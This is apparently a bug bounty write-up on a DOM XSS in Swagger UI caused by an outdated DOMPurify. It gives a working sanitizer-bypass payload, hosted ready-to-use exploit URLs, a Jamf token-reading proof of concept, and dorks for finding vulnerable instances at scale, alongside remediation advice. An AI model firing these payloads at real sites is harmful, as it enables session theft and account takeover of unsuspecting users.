Swagger UI is a really common library used to display API specifications in a nice-looking UI used by almost every company. I stumbled upon it many times when doing recon on bug bounty targets and decided to take a closer look at it in Nov 2020. On Twitch, I streamed the process of reviewing and finding bugs in the library, but I found the final payload off camera after the stream. The bug that I found was a DOM XSS, and it turned out that there were a lot of vulnerable instances.
The vulnerability was fixed at the beginning of 2021. However, I still was able to exploit it in many companies, like Paypal, Atlassian, Microsoft, GitLab, Yahoo, and many more.
Since then, we've reported more than 60 instances of this bug across a wide range of bug bounty programs, and we still have another 200 bugs in the backlog to report. Swagger UI versions affected with the XSS: >=3.14.1 < 3.38.0
History of XSS vulnerabilities in Swagger UI
Swagger UI has a prominent history of bugs - several XSSs, but unfortunately, all required user interaction. A victim had to copy the URL to the YAML file and paste it in Swagger UI for the payload to fire.
List of XSS in Swagger UI (Snyk - swagger-ui vulnerabilities):
Where is the bug and how does it work
The root cause of the DOM XSS that I have found is quite simple - an outdated library DomPurify
(it's used for input sanitization) combined with features of the library allowed me to get DOM XSS that was controlled from query parameters. The exploitation was not that straightforward, and some restrictions forced me to find a custom variation of the bypasses for versions of DomPurify used by the Swagger UI.
How Swagger UI renders API specification
Let’s start from the beginning - Swagger UI has an interesting feature that allows you to provide URL to API specification - a yaml or json file that will be fetched and displayed to the user. To do that you have to add query parameter ?url=https://your_api_spec/spec.yaml
or ? configUrl=https://your_api_spec/file.json
.
The example yaml
spec looks like this:
swagger: '2.0'
info:
title: Example yaml.spec
description: This is an example text **HELLO FROM MARKDOWN**
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
- accounts
operationId: findAccounts
summary: Finds all accounts
Swagger UI will take your config (JSON) or API specification (YAML), fetch it, and then it will render it. It will also parse any description field from the API specification as a markdown.
Let’s look at some code and see how it’s done - here is a helper function that is used to render Markdown in Swagger UI:
// src/components/providers/markdown.jsx
function Markdown({ source, className = "", getConfigs }) {
... omitted ...
const md = new Remarkable({
html: true,
typographer: true,
breaks: true,
linkTarget: "_blank"
}).use(linkify)
md.core.ruler.disable(["replacements", "smartquotes"])
const { useUnsafeMarkdown } = getConfigs()
const html = md.render(source)
const sanitized = sanitizer(html, { useUnsafeMarkdown })
if (!source || !html || !sanitized) {
return null
}
return (
<div className={cx(className, "markdown")} dangerouslySetInnerHTML={{ __html: sanitized }}></div>
)
}
The first obvious thing is that if we can bypass the sanitizer(html)
, we will have really easy DOM XSS thanks to a dangerouslySetInnerHTML
. React will simply render ANY HTML and allow us to execute the JS payload.
… but we have to bypass the sanitizer
that is:
function sanitizer(str, { useUnsafeMarkdown = false } = {}) {
const ALLOW_DATA_ATTR = useUnsafeMarkdown
const FORBID_ATTR = useUnsafeMarkdown ? [] : ["style", "class"]
...
return DomPurify.sanitize(str, {
ADD_ATTR: ["target"],
FORBID_TAGS: ["style"],
ALLOW_DATA_ATTR,
FORBID_ATTR,
})
}
The function itself will sanitize provided str
with DomPurify
with an additional configuration that explicitly forbids <style>
tags. (This will be important later)
Finding the right bypass for DomPurify
The version of Swagger UI that I was exploiting at the time was 3.37.2
and it used DomPurify
version 2.2.2
.
The easiest way of finding bypasses for DomPurify
is to go to the https://github.com/cure53/DOMPurify/releases/
page and search for a word bypass
or mXSS
in newer versions. In our case, there is the 2.2.3
version that has known bypasses.
Now we have to find the payload that was used to bypass the sanitization - for this, we will look at the file test/fixtures/expect.js
in the DomPurify
repo that contains the test cases. We can look at commits of the file and find related to tag version 2.2.3
:
Nice! We have a payload that we can use to fire XSS in Swagger UI, right? Not yet, there is still one restriction.
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='#' onerror='alert(1)'>">
The payload uses a <style>
tag to achieve the bypass, but in our case, it’s explicitly forbidden. :(
We have to fix that!
Let’s find a custom variation of the bypass
We need a payload that will bypass DomPurify
sanitization but can't contain <style>
tag. The easiest way to do that is to find another HTML tag that will act the same as <style>
in the bypass.
When we put this payload to DomPurify
and render the sanitized string we will have DOM structure:
From the picture, we can see that successful exploitation will cause the DOM to contain <img>
with onerror=alert(1)
. Our testing plan for finding a variation of the bypass that does not use <style>
will be:
For every HTML element:
- Replace
<style>
element in payload with the HTML element - Sanitize this new payload with
DomPurify
- Render the sanitized string and check if it contains
<img
tag withonerror=alert(1)
You can find the JS code here
const allElements = [
... // list of all known HTML elements
];
// payload that we are testing
const payload = `<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='#' onerror='alert(1)'>">`;
const domParser = new DOMParser();
// iterate on each HTML element
allElements.forEach(element => {
let newPayload = payload.replace("<style>", `<${element}>`).replace("</style>", `</${element}>`);
// DOMPurify with the same config as in Swagger UI (and the same version)
const sanitized = DOMPurify.sanitize(newPayload, {
ADD_ATTR: ["target"],
FORBID_TAGS: ["style"]
});
const parsedDOM = domParser.parseFromString(sanitized, 'text/html');
parsedDOM.querySelectorAll(`img`).forEach(img => {
// only bypass will have onerror handler
if(img.attributes["onerror"]) {
console.log(`Found bypass: ${element}`);
}
});
});
When we execute the JS code will find two hits:
tag <textarea>
and <title>
will behave the same way as <style>
in the DomPurify
bypass and will allow us to get through DomPurify
sanitization.
The final bypass will be:
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(1)'>">
Exploit
Finally!! We can bring everything together and exploit the alert(1)
. We just need to create a specification file with the payload, host it somewhere and find Swagger UI instances to exploit!
Example specification with bypass for DomPurify
version 2.2.3
is:
swagger: '2.0'
info:
title: Example yaml.spec
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
- accounts
operationId: findAccounts
summary: Finds all accounts
If you are lazy
You can use just add this parameter to the URL of Swagger and see if it pops an alert
:
?configUrl=https://jumpy-floor.surge.sh/test.json
Sometimes the payload won’t work so check this one:
?url=https://jumpy-floor.surge.sh/test.yaml
How to find Swagger UI at scale?
There are two main ways how we can look for Swagger UI:
- Google Dorking
- Using module on Vidoc platform
- NPM
Google Dorking
Let’s start with Dorking - the easiest approach.
Dork:intext:"Swagger UI" intitle:"Swagger UI" site:yourarget.com
(the dork yields some false positives, but it’s good enough)
Example:
For *.microsoft.com
there are ~88 indexed Swagger UIs. Sadly, not all of them are in the version range to be exploitable and probably some of them are false positives.
xxx.microsoft.com
over yyy.xxx.microsoft.com
, so if you got XSS on any of these hosts - report it and earn money!Vidoc automation platform
The most convenient method and method that has little to zero false positives. I personally use the template.
NPM
Another way of finding Swagger UI is to use GitHub or GitLab search. There are a lot of projects that will use an older version of Swagger and probably will be vulnerable to the XSS. NPM package swagger-ui-dist
is just a bundled version of Swagger UI.
I recommend getting access to Github’s new search, because it has a lot better search capabilities than the old search. (but it can return a lot fewer results than the older search)
Query in new GitHub to find vulnerable Swagger UIs:
/swagger-ui-dist": "3.[1-3]/ path:*/package.json
The query will look for swagger-ui-dist
in file package.json
and will check if the version is between >=3.14.1 < 3.38.0
.
Results:
Remediation
You have found a vulnerable Swagger UI
version in your organization, now what?
It is simple, just update to the latest version ^4.13.0
.Check out npm-update for more info.
What if you can’t upgrade the whole Swagger UI
package? You can upgrade only the dompurify
package that is used by Swagger UI
Examples of exploitation in bug bounty programs
We reported around 60
instances of the bug to various bug bounty programs, if you are interested in seeing how we reported it, check out reports.
Jamf (Account takeover)
This vulnerability is common in so many different systems, we even found it in Jamf, but what is Jamf?
Jamf Pro is comprehensive enterprise management software for the Apple platform, simplifying IT management for Mac, iPad, iPhone and Apple TV.
It is used by big organizations to manage their Apple devices. I found that the on-premise version of “Jamf Pro” exposed Swagger UI on the same host as the admin panel.
Jamf usually works on ports 443
or 8443
and the Swagger UI can be found at /classicapi/doc/
, but the payload for this is a little bit different.
The configUrl
for some reason could not be a simple URL, we had to provide it like:
?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
The account takeover - Jamf Pro stores authentication token in local storage under authToken
key. The POC below will print authToken
from local storage:
https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
Bug bounty reports:
https://hackerone.com/reports/1350549 (Paypal)
https://hackerone.com/reports/1444682 (Shopify)
The reports are yet to be disclosed, we will let you know in our newsletter when that happens.
Gitlab - stored XSS in the repository
Gitlab is an interesting case because it uses Swagger UI to render Swagger specification files in the repository. So if you have a file that is named swagger.json
in a repository on Gitlab it will try to parse it and render using swagger-ui-dist
.
GitLab had CSP that did not allow me to use event handlers - <img onerror=alert(window.origin) src=1>
was blocked. The good thing with Gitlab is that they disclose all of their security issues, so I just searched for XSS and copied the CSP bypass from there;) (remember to work smart not hard)
Finally, I got it all working and could steal any user's token if they clicked on my repository.
Bug bounty reports
https://hackerone.com/reports/1072868 (Gitlab)
The report is yet to be disclosed, we will let you know in our newsletter when that happens.
Final thoughts
I have to confess to one thing… I mostly do not escalate this vulnerability, because at our scale of finding this bug we have too many bugs to report and too little time to do it. I am guilty of it, but if you have more time you definitely shouldn't stop and just report the alert(1)
. You can earn more money from it if you try to escalate it to Account takeover
or just Stealing user information
.
For this topic just check out reports of other people how they approach escalating XSS - just google site:hackerone.com xss account takeover
Did you find any Swagger UI
and earn money from it? Let us know on Twitter! Tag @vidocsecurity:)
Reference
https://github.com/cure53/DOMPurify/commit/8ab47b0a694022b396e30b7f643e28971f75f5d8
https://github.com/cure53/DOMPurify/commit/7719c5b28c79db124e6a344c59c46448644781c9
________________________________________________________________________
Check our other social media platforms to stay connected:
Website | www.vidocsecurity.com
Linkedin | www.linkedin.com/company/vidoc-security-lab
X (formerly Twitter) | twitter.com/vidocsecurity
YouTube | www.youtube.com/@vidocsecuritylab
Facebook | www.facebook.com/vidocsec
Instagram | www.instagram.com/vidocsecurity